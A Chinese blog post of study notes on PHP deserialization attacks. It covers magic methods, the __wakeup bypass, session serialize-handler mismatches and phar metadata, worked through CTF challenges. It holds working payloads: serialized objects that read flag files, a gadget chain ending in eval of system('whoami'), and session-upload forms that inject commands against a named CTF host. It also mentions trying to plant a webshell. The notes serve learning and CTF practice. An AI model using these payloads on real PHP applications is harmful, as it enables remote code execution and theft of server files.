随笔 - 35  文章 - 0  评论 - 1 

php反序列化笔记

  1. 普通的魔法方法
  2. public,private,protected属性序列化后的不同
  3. 绕过wakeup
  4. session反序列化
  5. phar反序列化

1.普通的魔法方法

__construct()

创建一个新的对象的时候会调用,不过unserialize()时不会被调用

__destruct()

对象销毁的时候被调用

__sleep()

函数serialize()调用的时候首先检查有没有这个函数,如果有则调用。这个函数的作用是删减需要进行序列化操作的的成员属性。

<?php 
class test{
	public $a="123";
	public $b="456";
	public function __sleep(){
		return ['b'];
	}
}
$test=new test();
echo serialize($test);
 ?>
 //输出:O:4:"test":1:{s:1:"b";s:3:"456";}
 //__sleep()只返回了成员$b,所以相当于删除了$a,$a不会进行序列互操作

__wakeup()

函数unserialize()被调用时检查有没有这个函数,有的话先执行。可以用来修改某个变量的值。

<?php 
class test{
	public $a="123";
	public function __wakeup(){
		$this->a="aaaaaaaaaaa";
	}
}
$test=new test();
var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));

 ?>
//输出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
//因为__wakeup()修改了$a的值

__toString

一个对象值不能直接echo 输出的,可以用var_dump()。但是如果定义好__toString()的方法,就可以直接echo了

<?php 
class test{
	public $a="aaa";
	public $b="bbb";
	public $c="ccc";
	public function __toString(){
		return $this->a."-".$this->b."-".$this->c;
	}
}
$test=new test();
echo $test;
 ?>
//输出 aaa-bbb-ccc

2.public,private,protected属性序列化后的不同

<?php 
class test{
	public $a="aaa";
	private $b="bbb";
	protected $c="ccc";
}
$test=new test();
echo serialize($test);
 ?>

浏览器上直接输出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}

如果查看源代码,看来应该存在不可打印字符

Snipaste_2019-11-07_09-46-28.png

输出一下十六进制

Snipaste_2019-11-07_09-53-45.png

这里的十六进制00是字符串和十六进制相互转化的,注意和十进制转换区分开

public的序列化看起来是最正常的

private的序列化: \00test(test是类名)\00b(b是成员名)

protected的序列化:\00*\00c(c是成员名)

这就是提示在反序列化的时候要注意\00

3.绕过wakeup

直接拿例题来说

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->

首先明确我们要读取flag.php

问题出在倒数三四行,接收get传递的参数先base64解码,然后进行反序列化

先来看看这个__destruct()方法,为了题目的靶机目录安全用strchr函数限制了\ /,不让你任意读取文件,不过没事,我们只需要读flag.php即可

现在我们们构造poc,把$file属性的index.php改为flag.php

poc

<?php 
class SoFun{ 
  protected $file='flag.php';
}

$test=new SoFun();
$str=serialize($test);
echo $str;
echo "<br>";
echo base64_encode($str);
 ?> 
//输出
//O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}  \00不可打印,但自己要记住
//Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

我们传入

?file=Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

发现仍然显示index.php,我们忽略了__wakeup()函数。

对 O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} 反序列化的时候,会先执行__wakeup(),这个函数在题目中是强行把$file的值变为index.php,所有无论我们传入什么$file的值永远是index.php

绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}

O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}

将1改为2,然后base64编码。

echo base64_encode('O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}');

还是不行,经过查资料:

<?php 
echo strlen("\00");
echo strlen('\00');
 ?> 
//第一个输出1,第二个输出3

php中单引号对\00的处理是把它变为三个字符,这也就是为什么我们会失败的原因,\00实际上是ascii的0代表的字符,它是一个字符。用单引号把poc包含起来,所以\00失效了。

<?php
echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\00*\00file\";s:8:\"flag.php\";}");
//用双引号括起来,并且把里面的双引号用\转义,不然双引号匹配出错
//输出Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
 ?>

?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93

Snipaste_2019-11-07_09-53-45.png

成功读取flag

也存在另一种方法,

<?php 
echo base64_encode('O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}');
 ?> 
//输出Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

注意到这里有一个大写的S,这里S表明\00是转义过后的字符,代表的是ascii的0,所以,即使base编码的时候单引号也可以

参考:

https://nobb.site/2016/09/13/0x22/

http://www.neatstudio.com/show-161-1.shtml

假设这道题目不进行base64编码:

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}     
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=$_GET['file'];   //唯一变化的地方
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->

直接get传参数的话\00是没有办法传进去的,让服务器知道你要传递的是ascii为0的字符,就得进行url编码,浏览器会自己解码然后传给服务器,所以是%00

Snipaste_2019-11-07_15-56-26.png

还有一个重要的事情,要注意php的版本,自己搜吧,我给忘了哪个版本了

4.session反序列化

Snipaste_2019-11-07_16-27-27.png

session.auto_start:不用你再去自己开启session_start()了

session.save_handler:保存的session的值的形式,一般是文件

session.save_path:保存文件的目录,我这里是win下边的phpstudy搭建的

session.serialize handler:有三种,默认的是php

<?php
    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION['value'] = 'aaaaa';
?>

访问这段代码,然后在C:\softeware\phpstudy\PHPTutorial\tmp\tmp目录,找到了sess_3ikqhdmr9jt0beid60d76u5g73这个文件,查看自己的session_id(F12看cookie):3ikqhdmr9jt0beid60d76u5g73,说明了session文件的命名规则:sess_(session_id)

查看文件内容value|s:5:"aaaaa";,value是键,|(竖线) 后边的是值

ini_set('session.serialize_handler','php');改为ini_set('session.serialize_handler','php_serialize');,再次访问,值得注意的是,版本高点才会有php_serialize这种方式

查看文件a:1:{s:5:"value";s:5:"aaaaa";}

另一个不看了,自己看去吧

问题类型一:

session.auto_start=Off

php里面默认的序列化方式是php,但是自己有时候会指定别的方式,比如php_serialize,这个时候因为序列化和反序列化的方式不同导致问题

foo1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];
?>	

foo2.php

<?php
ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
	var $hi;
	
	function __wakeup() {
		echo 'hi';
	}
	function __destruct() {
		echo $this->hi;
	}
}?>

访问

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

然后访问foo2.php发现执行了 echo "hi";

1.第一步访问foo1.php过后,tmp目录下文件内容

Snipaste_2019-11-07_18-07-39.png

payload其实就是foo2.php里面的类实例化后再序列化,但是前边要加一个|(竖线)

注意文件里面 竖线左边是键,右边是值(因为foo2.php里面反序列化的方式是php)

所以当我们访问foo2.php的时候,要读取再foo1.php里面的设置的session值并且进行反序列化,所有竖线右边的就被反序列化成了一个对象

问题类型二:

题目①:

lemon博客上的一道反序列化的源代码

php.ini的配置

session.serialize_handler: php_serialize 默认的php反序列化方式与指定的不同)

session.upload_progress.cleanup :Off

session.upload_progress.enabled :On

session.auto_start :Off

源代码实际有三个文件,phpinfo.php实际上是告诉你了配置信息

index.php

<?php
    ini_set('session.serialize_handler', 'php');
    //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
    require("./class.php");
    session_start();

    $obj = new foo1();
    $obj->varr = "phpinfo.php";
?>

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this->varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = null;
    }
    function __toString(){
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}

class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

?>

根据问题类型一的思路,我们已经知道了有两个不同的反序列化处理方式,我们应该是先在有ini_set('session.serialize_handler', 'php_serialize');的地方写入 |(竖线)加上构造好的payload,让它写入session文件,然后我们访问index.php(反序列化方式为php)读取session文件实例化对象执行代码。可现在是,没有找到ini_set('session.serialize_handler', 'php_serialize'),并且最重要的是没有找到unserialize()我们能够控制输入的地方。

这里实际上用到了另外一个思路:session.upload_progress.enabled :On

上传一个文件,php会把这次上传文件的信息保存到session文件里面,文件的信息是我们可以控制的,所以通过这个把payload写入session文件,然后访问index.php(php处理器来反序列化session文件),原理和 问题一 是一样的。

payload:

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
    public $varr;
    function __construct(){
        $this->varr = new foo2();
        //new一个foo2的对象
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}

class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = new foo3();
        //new一个foo3的对象
    }
    function __toString(){
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}

class foo3{
    public $varr="system('whoami');";
    //要执行的东西
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}

$test=new foo1();
echo serialize($test);
//输出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system('whoami');";}}}

//还有执行了whoami的命令:desktop-2akj5ip\whoami_root
这是foo1的析构函数
?>

来看一下这个上传文件保存的session是啥样的。

html表单,我们要进行抓包,然后修改具体的值

<form action="http://127.0.0.1/phpinfo.php" method="POST" enctype="multipart/form-data">        
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />        
    <input type="file" name="file" />        
    <input type="submit" />
</form>
#这里index.php和phpinfo.php都可以,存在session_start()就可以,因为我们需要的是php_seralize这个默认方式来序列化数据,不过我这里传到index.php发现并没有生成session文件,phpinfo.php却可以,再说再说。

抓包,可以利用的地方是表单value的值和文件名字,这两处选一出就可以。

还有这个cookie,一定要和你访问的cookie对应起来,因为写入读取session文件都直接和你的cookie的值有关系。

Snipaste_2019-11-07_23-47-07.png

传上构造的payload,文件名字和内容记得胡乱写一下。可以看到,payload也写进去了,现在就可以用php(三种方式之一,竖线为分隔符)来反序列化了。这个时候访问index.php(ini_set('session.serialize_handler', 'php'))就可以了。

QQ截图20191107235214.png

Snipaste_2019-11-07_23-56-53.png

题目②:jarvis-phpinfo

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

get传参可以执行phpinfo(),然后观察phpinfo的内容。

发现php.ini的设置

session.auto_start Off Off
session.upload_progress.enabled On On
session.serialize_handler php php_serialize
session.upload_progress.cleanup Off Off

发现符合我们利用的条件,先构造poc:

<?php
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'system("ls");';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
echo serialize(new OowoO());

?>

构造的上传文件表单

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
#上传的时候序列化的方式是默认方式php_serialize

上传的时候注意cookie一定要是一样的哟。

Snipaste_2019-11-08_10-05-00.png

发现没有反应,本地复现成功,就想会不会是禁用了函数或者权限比较低,可以思考一下,这里和有没有回显是没有关系的哟。

不过有几个函数:

print_r (),scandir(),var_dump(),glob(),file_get_contents(),rename(),unlink(),rmdir(),fwirte(),fopen()可以试一下(我想往里面写一个小马的时候才发现重命名,删除文件,写文件的函数不行,但是assert却是可以的)

poc改为$this->mdzz = "print_r(scandir('./'));";

先来看下当前目录有啥东西:

Snipaste_2019-11-08_10-07-40.png

发现不是当前目录,搞来搞去,发现.(dot)没法用,所以只好用绝对目录,看了下phpinfo.php,发现文件在/opt/lampp/htdocs/下边,构造$this->mdzz = "print_r(scandir('/opt/lampp/htdocs/'));";

Snipaste_2019-11-08_10-11-10.png

直接访问flag文件是空白的,根据这个名字可能是故意不想让你看到,所以利用file_get_contents()来读文件

$this->mdzz = "print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";

Snipaste_2019-11-08_10-18-59.png

5.phar反序列化

phar以我自己的理解就是,将常用的文件打的一个包,然后需要这些文件的时候直接include这个phar包,直接从包里调用文件或者里面的函数,相比起直接包含.php文件更方便。

看一下phar的格式

stub:

格式是xxx,可以把这个理解为文件头格式,php通过这个格式才能知道这是phar文件,xxx的地方是随意的

a manifest describing the contents:

被打包进来的文件的属性,权限等内容会被反序列化后存储在meta-data(用户自己设置)

the file contents:

被打包进来的文件的内容

signature:

对文件的签名,在文件的结尾

我们先来看一下怎么打包生成phar

首先php.ini里面的phar.readonly => On要改为Off,这样才可以创生成phar

在test目录下有两个文件

test.php

<?php 
class a{
	public function a(){
		echo "我是a的构造函数";
	}
}
	?>

phar.php

<?php
//new一个phar对象
$phar = new Phar('test.phar');
//把当前目录下的东西都打包
$phar->buildFromDirectory(__DIR__);
//setStub是必须设置的,这里设置了一个最简单的
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//生成test.phar文件
$phar->stopBuffering();
	?>

test目录下多了一个test.phar,放winhex里面看一下:

Snipaste_2019-11-09_15-43-48.png

利用phar包

test目录下新建1.php

<?php 
require_once "test.phar";
require_once "phar://test.phar/test.php";
new a();
//输出 '我是a的构造函数'
 ?>

访问发现确实引用了test.php。

漏洞利用点

我们上边的过程没有用到

a manifest describing the contents:

被打包进来的文件的属性,权限等内容会被反序列化后存储在meta-data(用户自己设置)

看新的代码

phar.php

<?php
class a{
	public $test="test";
	function __wakeup(){
		echo "我被反序列化了";
	}
}
//new一个phar对象
$phar = new Phar('test.phar');
//把当前目录下的东西都打包
$phar->buildFromDirectory(__DIR__);
//setStub是必须设置的,这里设置了一个最简单的
$phar->setStub('<?php __HALT_COMPILER(); ?>');
//****************************
//自己定义的metadata,会序列化写入test.phar
$phar->setMetadata(new a());
//****************************
//生成test.phar文件
$phar->stopBuffering();
	?>

具体phar的方法可以看 https://www.php.net/manual/zh/class.phar.php

查看内容,发现,果然序列化后存入了test.phar文件里面

漏洞在于,当某些系统函数去操作phar协议控制的文件时候,metadata里的东西会反序列化。

在test目录下便随便新建文件,然后访问。

<?php 
    class a{
	public $test="test";
	function __wakeup(){
		echo "我被反序列化了";
	}
	
}
    require_once "test.phar";
    //file_put_contents(phar://phar/test.php);

?>
//访问后输出 '我被反序列化了',证明存储在metadata里面的数据被反序列化了

图片直接复制连接过来的 https://paper.seebug.org/680/

发现require,require_once,include,include_once也是可以的,又偶然在 https://blog.zsxsoft.com/post/38 看到,与文件有关的函数都是可以的。

posted on 2019-11-08 10:44  冬泳怪鸽  阅读(466)  评论(0编辑  收藏